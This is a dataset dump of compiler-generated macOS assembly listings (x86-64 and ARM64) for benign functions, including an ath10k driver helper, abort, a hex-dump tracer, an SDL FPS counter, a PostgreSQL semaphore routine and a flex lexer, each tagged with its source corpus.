.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _ath10k_mac_num_chanctxs
cbz w0, LBB0_7
; %bb.1:
ldr x8, [x19, #24]
cbz x8, LBB0_3
; %bb.2:
mov w0, #0
b LBB0_7
LBB0_3:
ldr x8, [x19, #16]
cbz x8, LBB0_5
LBB0_4:
mov w0, #1
b LBB0_7
LBB0_5:
Lloh0:
adrp x8, _ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST@GOTPAGE
Lloh1:
ldr x8, [x8, _ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
ldr x8, [x19, #8]
ldr x1, [x8]
bl _test_bit
cbz x0, LBB0_8
LBB0_6:
Lloh3:
adrp x8, _ATH10K_CAC_RUNNING@GOTPAGE
Lloh4:
ldr x8, [x8, _ATH10K_CAC_RUNNING@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
add x1, x19, #4
bl _test_bit
cmp x0, #0
cset w0, ne
LBB0_7:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_8:
ldr w8, [x19]
Lloh6:
adrp x9, _FIF_OTHER_BSS@GOTPAGE
Lloh7:
ldr x9, [x9, _FIF_OTHER_BSS@GOTPAGEOFF]
Lloh8:
ldr w9, [x9]
tst w9, w8
b.ne LBB0_4
b LBB0_6
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.cfi_endproc
; -- End function
.comm _ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST,4,2 ; @ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST
.comm _FIF_OTHER_BSS,4,2 ; @FIF_OTHER_BSS
.comm _ATH10K_CAC_RUNNING,4,2 ; @ATH10K_CAC_RUNNING
.no_dead_strip _ath10k_mac_monitor_vdev_is_needed
.subsections_via_symbols
| AnghaBench/linux/drivers/net/wireless/ath/ath10k/extr_mac.c_ath10k_mac_monitor_vdev_is_needed.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _abort ## -- Begin function abort
_abort: ## @abort
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq $6
popq %rdi
callq _raise
pushq $-6
popq %rdi
callq _exit
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _abort ; -- Begin function abort
.p2align 2
_abort: ; @abort
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w0, #6
bl _raise
mov w0, #-6
bl _exit
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/51552.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function trace_block
_trace_block: ## @trace_block
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, %ebx
movq %rsi, %r14
testl %ecx, %ecx
movl (%rdi), %esi
leaq L_.str.1(%rip), %rax
leaq L_.str(%rip), %rdi
cmoveq %rax, %rdi
xorl %eax, %eax
callq _printk
testl %ebx, %ebx
je LBB0_15
## %bb.1:
movl %ebx, %ecx
leaq L_.str.2(%rip), %r15
leaq L_.str.3(%rip), %r12
jmp LBB0_2
.p2align 4, 0x90
LBB0_14: ## in Loop: Header=BB0_2 Depth=1
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
callq _printk
movslq -44(%rbp), %rax ## 4-byte Folded Reload
addq %rax, %r14
movl -48(%rbp), %ecx ## 4-byte Reload
subl %eax, %ecx
je LBB0_15
LBB0_2: ## =>This Loop Header: Depth=1
## Child Loop BB0_10 Depth 2
## Child Loop BB0_4 Depth 2
## Child Loop BB0_7 Depth 2
cmpl $16, %ecx
movl $16, %eax
cmovll %ecx, %eax
movl %eax, -44(%rbp) ## 4-byte Spill
movl %eax, %r13d
movl $0, %ebx
movl %ecx, -48(%rbp) ## 4-byte Spill
testl %ecx, %ecx
jle LBB0_3
## %bb.9: ## in Loop: Header=BB0_2 Depth=1
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_10: ## Parent Loop BB0_2 Depth=1
## => This Inner Loop Header: Depth=2
movzbl (%r14,%rbx), %esi
movq %r15, %rdi
xorl %eax, %eax
callq _printk
incq %rbx
cmpq %rbx, %r13
jne LBB0_10
## %bb.11: ## in Loop: Header=BB0_2 Depth=1
movl -44(%rbp), %ebx ## 4-byte Reload
LBB0_3: ## in Loop: Header=BB0_2 Depth=1
addl $-17, %ebx
.p2align 4, 0x90
LBB0_4: ## Parent Loop BB0_2 Depth=1
## => This Inner Loop Header: Depth=2
movq %r12, %rdi
xorl %eax, %eax
callq _printk
incl %ebx
jne LBB0_4
## %bb.5: ## in Loop: Header=BB0_2 Depth=1
cmpl $0, -48(%rbp) ## 4-byte Folded Reload
jle LBB0_14
## %bb.6: ## in Loop: Header=BB0_2 Depth=1
xorl %ebx, %ebx
jmp LBB0_7
.p2align 4, 0x90
LBB0_12: ## in Loop: Header=BB0_7 Depth=2
leaq L_.str.5(%rip), %rdi
xorl %eax, %eax
callq _printk
LBB0_13: ## in Loop: Header=BB0_7 Depth=2
incq %rbx
cmpq %rbx, %r13
je LBB0_14
LBB0_7: ## Parent Loop BB0_2 Depth=1
## => This Inner Loop Header: Depth=2
movzbl (%r14,%rbx), %esi
leal -127(%rsi), %eax
cmpb $-95, %al
jb LBB0_12
## %bb.8: ## in Loop: Header=BB0_7 Depth=2
leaq L_.str.4(%rip), %rdi
## kill: def $esi killed $esi killed $rsi
xorl %eax, %eax
callq _printk
jmp LBB0_13
LBB0_15:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s tx data:\n"
L_.str.1: ## @.str.1
.asciz "%s rx data:\n"
L_.str.2: ## @.str.2
.asciz "%02X "
L_.str.3: ## @.str.3
.asciz " "
L_.str.4: ## @.str.4
.asciz "%c"
L_.str.5: ## @.str.5
.asciz "."
L_.str.6: ## @.str.6
.asciz "\n"
.no_dead_strip _trace_block
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function trace_block
_trace_block: ; @trace_block
.cfi_startproc
; %bb.0:
sub sp, sp, #112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x2
mov x26, x1
Lloh0:
adrp x8, l_.str@PAGE
Lloh1:
add x8, x8, l_.str@PAGEOFF
Lloh2:
adrp x9, l_.str.1@PAGE
Lloh3:
add x9, x9, l_.str.1@PAGEOFF
cmp w3, #0
csel x8, x9, x8, eq
ldr w9, [x0]
str x9, [sp]
mov x0, x8
bl _printk
cbz w19, LBB0_16
; %bb.1:
Lloh4:
adrp x21, l_.str.2@PAGE
Lloh5:
add x21, x21, l_.str.2@PAGEOFF
Lloh6:
adrp x22, l_.str.3@PAGE
Lloh7:
add x22, x22, l_.str.3@PAGEOFF
Lloh8:
adrp x23, l_.str.5@PAGE
Lloh9:
add x23, x23, l_.str.5@PAGEOFF
Lloh10:
adrp x24, l_.str.4@PAGE
Lloh11:
add x24, x24, l_.str.4@PAGEOFF
Lloh12:
adrp x25, l_.str.6@PAGE
Lloh13:
add x25, x25, l_.str.6@PAGEOFF
b LBB0_3
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
mov x0, x25
bl _printk
add x26, x26, w27, sxtw
subs w19, w19, w27
b.eq LBB0_16
LBB0_3: ; =>This Loop Header: Depth=1
; Child Loop BB0_5 Depth 2
; Child Loop BB0_9 Depth 2
; Child Loop BB0_14 Depth 2
cmp w19, #16
mov w8, #16 ; =0x10
csel w27, w19, w8, lt
cmp w19, #0
b.le LBB0_7
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
mov x20, x27
mov x28, x26
LBB0_5: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x28], #1
str x8, [sp]
mov x0, x21
bl _printk
subs x20, x20, #1
b.ne LBB0_5
; %bb.6: ; in Loop: Header=BB0_3 Depth=1
mov x8, x27
b LBB0_8
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
mov w8, #0 ; =0x0
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
sub w20, w8, #17
LBB0_9: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
mov x0, x22
bl _printk
adds w20, w20, #1
b.lo LBB0_9
; %bb.10: ; in Loop: Header=BB0_3 Depth=1
cmp w19, #1
b.lt LBB0_2
; %bb.11: ; in Loop: Header=BB0_3 Depth=1
mov x28, x27
mov x20, x26
b LBB0_14
LBB0_12: ; in Loop: Header=BB0_14 Depth=2
mov x0, x23
LBB0_13: ; in Loop: Header=BB0_14 Depth=2
bl _printk
subs x28, x28, #1
b.eq LBB0_2
LBB0_14: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x20], #1
sub w9, w8, #127
cmn w9, #95
b.lo LBB0_12
; %bb.15: ; in Loop: Header=BB0_14 Depth=2
str x8, [sp]
mov x0, x24
b LBB0_13
LBB0_16:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s tx data:\n"
l_.str.1: ; @.str.1
.asciz "%s rx data:\n"
l_.str.2: ; @.str.2
.asciz "%02X "
l_.str.3: ; @.str.3
.asciz " "
l_.str.4: ; @.str.4
.asciz "%c"
l_.str.5: ; @.str.5
.asciz "."
l_.str.6: ; @.str.6
.asciz "\n"
.no_dead_strip _trace_block
.subsections_via_symbols
| assembly_file_56391.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function run_fps_counter
_run_fps_counter: ## @run_fps_counter
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
movl 8(%rdi), %edi
callq _mutex_lock
cmpl $0, 20(%rbx)
je LBB0_1
LBB0_8:
movl 8(%rbx), %edi
callq _mutex_unlock
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB0_1:
leaq 16(%rbx), %r14
xorl %eax, %eax
jmp LBB0_2
.p2align 4, 0x90
LBB0_9: ## in Loop: Header=BB0_2 Depth=1
movl 8(%rbx), %esi
movl 12(%rbx), %edi
callq _cond_wait
movl 20(%rbx), %eax
LBB0_2: ## =>This Loop Header: Depth=1
## Child Loop BB0_5 Depth 2
testl %eax, %eax
je LBB0_9
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movq %r14, %rdi
callq _SDL_AtomicGet
testq %rax, %rax
je LBB0_9
.p2align 4, 0x90
## %bb.4: ## in Loop: Header=BB0_2 Depth=1
cmpl $0, 20(%rbx)
jne LBB0_8
LBB0_5: ## Parent Loop BB0_2 Depth=1
## => This Inner Loop Header: Depth=2
movq %r14, %rdi
callq _SDL_AtomicGet
testq %rax, %rax
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_5 Depth=2
xorl %eax, %eax
callq _SDL_GetTicks
movq %rax, %r15
movq %rbx, %rdi
movq %rax, %rsi
callq _check_interval_expired
xorl %edi, %edi
cmpq %r15, (%rbx)
setg %dil
callq _SDL_assert
movq (%rbx), %rdx
subq %r15, %rdx
movl 12(%rbx), %edi
movl 8(%rbx), %esi
callq _cond_wait_timeout
cmpl $0, 20(%rbx)
je LBB0_5
jmp LBB0_8
LBB0_7: ## in Loop: Header=BB0_2 Depth=1
cmpl $0, 20(%rbx)
movl $0, %eax
je LBB0_2
jmp LBB0_8
.cfi_endproc
## -- End function
.no_dead_strip _run_fps_counter
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function run_fps_counter
_run_fps_counter: ; @run_fps_counter
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr w0, [x0, #8]
bl _mutex_lock
ldr w8, [x19, #20]
cbz w8, LBB0_3
LBB0_1:
ldr w0, [x19, #8]
bl _mutex_unlock
mov w0, #0 ; =0x0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
ldp w1, w0, [x19, #8]
bl _cond_wait
ldr w8, [x19, #20]
LBB0_3: ; =>This Loop Header: Depth=1
; Child Loop BB0_6 Depth 2
cbz w8, LBB0_2
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
add x0, x19, #16
bl _SDL_AtomicGet
cbz x0, LBB0_2
; %bb.5: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [x19, #20]
cbnz w8, LBB0_1
LBB0_6: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
add x0, x19, #16
bl _SDL_AtomicGet
cbz x0, LBB0_8
; %bb.7: ; in Loop: Header=BB0_6 Depth=2
bl _SDL_GetTicks
mov x20, x0
mov x0, x19
mov x1, x20
bl _check_interval_expired
ldr x8, [x19]
cmp x8, x20
cset w0, gt
bl _SDL_assert
ldr x8, [x19]
sub x2, x8, x20
ldp w1, w0, [x19, #8]
bl _cond_wait_timeout
ldr w8, [x19, #20]
cbz w8, LBB0_6
b LBB0_1
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
mov w8, #0 ; =0x0
ldr w9, [x19, #20]
cbz w9, LBB0_3
b LBB0_1
.cfi_endproc
; -- End function
.no_dead_strip _run_fps_counter
.subsections_via_symbols
| assembly_file_75462.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _PGSemaphoreCreate ## -- Begin function PGSemaphoreCreate
.p2align 4, 0x90
_PGSemaphoreCreate: ## @PGSemaphoreCreate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _IsUnderPostmaster@GOTPCREL(%rip), %rax
xorl %edi, %edi
cmpl $0, (%rax)
sete %dil
callq _Assert
movq _nextSemaNumber@GOTPCREL(%rip), %r14
movq (%r14), %rsi
movq _SEMAS_PER_SET@GOTPCREL(%rip), %r15
movq (%r15), %rdi
cmpq %rdi, %rsi
jl LBB0_4
## %bb.1:
movq _numSemaSets@GOTPCREL(%rip), %rbx
movq (%rbx), %rax
movq _maxSemaSets@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jb LBB0_3
## %bb.2:
movq _PANIC@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq L_.str(%rip), %rsi
callq _elog
movq (%r15), %rdi
LBB0_3:
callq _IpcSemaphoreCreate
movq _mySemaSets@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq (%rbx), %rdx
movl %eax, (%rcx,%rdx,4)
incq %rdx
movq %rdx, (%rbx)
movq $0, (%r14)
xorl %esi, %esi
LBB0_4:
movq _numSharedSemas@GOTPCREL(%rip), %rbx
movq (%rbx), %rax
movq _maxSharedSemas@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jl LBB0_6
## %bb.5:
movq _PANIC@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq L_.str(%rip), %rsi
callq _elog
movq (%rbx), %rax
movq (%r14), %rsi
LBB0_6:
movq _sharedSemas@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
leaq 1(%rax), %rdx
movq %rdx, (%rbx)
shlq $4, %rax
leaq (%rcx,%rax), %rbx
movq _mySemaSets@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
movq _numSemaSets@GOTPCREL(%rip), %rdi
movq (%rdi), %rdi
movl 4(%rdx,%rdi,4), %edi
movl %edi, 8(%rcx,%rax)
leaq 1(%rsi), %rdx
movq %rdx, (%r14)
movq %rsi, (%rcx,%rax)
movl $1, %edx
callq _IpcSemaphoreInitialize
movq %rbx, %rax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _IsUnderPostmaster,4,2 ## @IsUnderPostmaster
.comm _nextSemaNumber,8,3 ## @nextSemaNumber
.comm _SEMAS_PER_SET,8,3 ## @SEMAS_PER_SET
.comm _numSemaSets,8,3 ## @numSemaSets
.comm _maxSemaSets,8,3 ## @maxSemaSets
.comm _PANIC,4,2 ## @PANIC
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "too many semaphores created"
.comm _mySemaSets,8,3 ## @mySemaSets
.comm _numSharedSemas,8,3 ## @numSharedSemas
.comm _maxSharedSemas,8,3 ## @maxSharedSemas
.comm _sharedSemas,8,3 ## @sharedSemas
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _PGSemaphoreCreate ; -- Begin function PGSemaphoreCreate
.p2align 2
_PGSemaphoreCreate: ; @PGSemaphoreCreate
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
Lloh0:
adrp x8, _IsUnderPostmaster@GOTPAGE
Lloh1:
ldr x8, [x8, _IsUnderPostmaster@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
cmp w8, #0
cset w0, eq
bl _Assert
Lloh3:
adrp x20, _nextSemaNumber@GOTPAGE
Lloh4:
ldr x20, [x20, _nextSemaNumber@GOTPAGEOFF]
ldr x1, [x20]
Lloh5:
adrp x19, _SEMAS_PER_SET@GOTPAGE
Lloh6:
ldr x19, [x19, _SEMAS_PER_SET@GOTPAGEOFF]
ldr x0, [x19]
Lloh7:
adrp x21, _mySemaSets@GOTPAGE
Lloh8:
ldr x21, [x21, _mySemaSets@GOTPAGEOFF]
Lloh9:
adrp x22, _numSemaSets@GOTPAGE
Lloh10:
ldr x22, [x22, _numSemaSets@GOTPAGEOFF]
cmp x1, x0
b.lt LBB0_4
; %bb.1:
ldr x8, [x22]
Lloh11:
adrp x9, _maxSemaSets@GOTPAGE
Lloh12:
ldr x9, [x9, _maxSemaSets@GOTPAGEOFF]
Lloh13:
ldr x9, [x9]
cmp x8, x9
b.lo LBB0_3
; %bb.2:
Lloh14:
adrp x8, _PANIC@GOTPAGE
Lloh15:
ldr x8, [x8, _PANIC@GOTPAGEOFF]
Lloh16:
ldr w0, [x8]
Lloh17:
adrp x1, l_.str@PAGE
Lloh18:
add x1, x1, l_.str@PAGEOFF
bl _elog
ldr x0, [x19]
LBB0_3:
bl _IpcSemaphoreCreate
mov x1, #0 ; =0x0
ldr x8, [x21]
ldr x9, [x22]
str w0, [x8, x9, lsl #2]
add x8, x9, #1
str x8, [x22]
str xzr, [x20]
LBB0_4:
Lloh19:
adrp x19, _numSharedSemas@GOTPAGE
Lloh20:
ldr x19, [x19, _numSharedSemas@GOTPAGEOFF]
ldr x8, [x19]
Lloh21:
adrp x9, _maxSharedSemas@GOTPAGE
Lloh22:
ldr x9, [x9, _maxSharedSemas@GOTPAGEOFF]
Lloh23:
ldr x9, [x9]
cmp x8, x9
b.lt LBB0_6
; %bb.5:
Lloh24:
adrp x8, _PANIC@GOTPAGE
Lloh25:
ldr x8, [x8, _PANIC@GOTPAGEOFF]
Lloh26:
ldr w0, [x8]
Lloh27:
adrp x1, l_.str@PAGE
Lloh28:
add x1, x1, l_.str@PAGEOFF
bl _elog
ldr x8, [x19]
ldr x1, [x20]
LBB0_6:
Lloh29:
adrp x9, _sharedSemas@GOTPAGE
Lloh30:
ldr x9, [x9, _sharedSemas@GOTPAGEOFF]
Lloh31:
ldr x9, [x9]
add x10, x8, #1
str x10, [x19]
add x19, x9, x8, lsl #4
ldr x8, [x21]
ldr x9, [x22]
add x8, x8, x9, lsl #2
ldr w0, [x8, #4]
str w0, [x19, #8]
add x8, x1, #1
str x8, [x20]
str x1, [x19]
mov w2, #1 ; =0x1
bl _IpcSemaphoreInitialize
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh9, Lloh10
.loh AdrpLdrGot Lloh7, Lloh8
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpAdd Lloh17, Lloh18
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGot Lloh19, Lloh20
.loh AdrpAdd Lloh27, Lloh28
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31
.cfi_endproc
; -- End function
.comm _IsUnderPostmaster,4,2 ; @IsUnderPostmaster
.comm _nextSemaNumber,8,3 ; @nextSemaNumber
.comm _SEMAS_PER_SET,8,3 ; @SEMAS_PER_SET
.comm _numSemaSets,8,3 ; @numSemaSets
.comm _maxSemaSets,8,3 ; @maxSemaSets
.comm _PANIC,4,2 ; @PANIC
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "too many semaphores created"
.comm _mySemaSets,8,3 ; @mySemaSets
.comm _numSharedSemas,8,3 ; @numSharedSemas
.comm _maxSharedSemas,8,3 ; @maxSharedSemas
.comm _sharedSemas,8,3 ; @sharedSemas
.subsections_via_symbols
| assembly_file_136571.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _yylex ## -- Begin function yylex
.p2align 4, 0x90
_yylex: ## @yylex
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
cmpb $0, _yy_init(%rip)
jne LBB0_8
## %bb.1:
movb $1, _yy_init(%rip)
cmpb $0, _yy_start(%rip)
je LBB0_138
## %bb.2:
cmpq $0, _yyin(%rip)
je LBB0_139
LBB0_3:
cmpq $0, _yyout(%rip)
je LBB0_140
LBB0_4:
movq _yy_buffer_stack(%rip), %rcx
testq %rcx, %rcx
je LBB0_6
## %bb.5:
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rcx,%rdx,8), %rax
testq %rax, %rax
jne LBB0_7
LBB0_6:
callq _yyensure_buffer_stack
movq _yyin(%rip), %rdi
movl $16384, %esi ## imm = 0x4000
callq _yy_create_buffer
movq _yy_buffer_stack(%rip), %rcx
movq _yy_buffer_stack_top(%rip), %rdx
movq %rax, (%rcx,%rdx,8)
LBB0_7:
movq 32(%rax), %rsi
movq %rsi, _yy_n_chars(%rip)
movq 16(%rax), %rax
movq %rax, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rax, (%rsi)
movq (%rcx,%rdx,8), %rcx
movq (%rcx), %rcx
movq %rcx, _yyin(%rip)
movb (%rax), %al
movb %al, _yy_hold_char(%rip)
LBB0_8:
leaq _yy_ec(%rip), %r14
leaq _yy_base(%rip), %r15
leaq _yy_chk(%rip), %r12
leaq _yy_nxt(%rip), %r13
leaq _yy_def(%rip), %r11
leaq _yy_meta(%rip), %r9
LBB0_9: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
## Child Loop BB0_15 Depth 3
## Child Loop BB0_17 Depth 3
## Child Loop BB0_18 Depth 4
## Child Loop BB0_22 Depth 5
## Child Loop BB0_38 Depth 6
## Child Loop BB0_41 Depth 6
## Child Loop BB0_45 Depth 6
## Child Loop BB0_49 Depth 6
## Child Loop BB0_57 Depth 6
## Child Loop BB0_62 Depth 6
## Child Loop BB0_71 Depth 6
## Child Loop BB0_93 Depth 5
## Child Loop BB0_100 Depth 6
## Child Loop BB0_106 Depth 5
## Child Loop BB0_111 Depth 4
## Child Loop BB0_118 Depth 5
## Child Loop BB0_123 Depth 3
## Child Loop BB0_130 Depth 4
movq _yy_c_buf_p(%rip), %r10
movb _yy_hold_char(%rip), %al
movb %al, (%r10)
movzbl _yy_start(%rip), %ecx
movq %r10, %r8
jmp LBB0_11
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_11 Depth=2
movl %edi, %eax
movswl (%r13,%rax,2), %ecx
incq %r8
movl $304, %eax ## imm = 0x130
btq %rcx, %rax
jb LBB0_17
LBB0_11: ## Parent Loop BB0_9 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_15 Depth 3
## Child Loop BB0_17 Depth 3
## Child Loop BB0_18 Depth 4
## Child Loop BB0_22 Depth 5
## Child Loop BB0_38 Depth 6
## Child Loop BB0_41 Depth 6
## Child Loop BB0_45 Depth 6
## Child Loop BB0_49 Depth 6
## Child Loop BB0_57 Depth 6
## Child Loop BB0_62 Depth 6
## Child Loop BB0_71 Depth 6
## Child Loop BB0_93 Depth 5
## Child Loop BB0_100 Depth 6
## Child Loop BB0_106 Depth 5
## Child Loop BB0_111 Depth 4
## Child Loop BB0_118 Depth 5
## Child Loop BB0_123 Depth 3
## Child Loop BB0_130 Depth 4
movzbl (%r8), %esi
movslq %ecx, %rax
leaq -8(%rax), %rdi
cmpq $-5, %rdi
jb LBB0_13
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movl %ecx, _yy_last_accepting_state(%rip)
movq %r8, _yy_last_accepting_cpos(%rip)
LBB0_13: ## in Loop: Header=BB0_11 Depth=2
movl (%r14,%rsi,4), %esi
movzbl %sil, %ebx
movswq (%r15,%rax,2), %rdi
addq %rbx, %rdi
movswl (%r12,%rdi,2), %ebx
cmpl %ebx, %ecx
jne LBB0_15
jmp LBB0_10
.p2align 4, 0x90
LBB0_14: ## in Loop: Header=BB0_15 Depth=3
movswl (%r11,%rax,2), %ecx
movslq %ecx, %rax
movswq (%r15,%rax,2), %rbx
movzbl %sil, %edi
addq %rbx, %rdi
cmpw (%r12,%rdi,2), %ax
je LBB0_10
LBB0_15: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## => This Inner Loop Header: Depth=3
andl $-2, %ecx
cmpl $6, %ecx
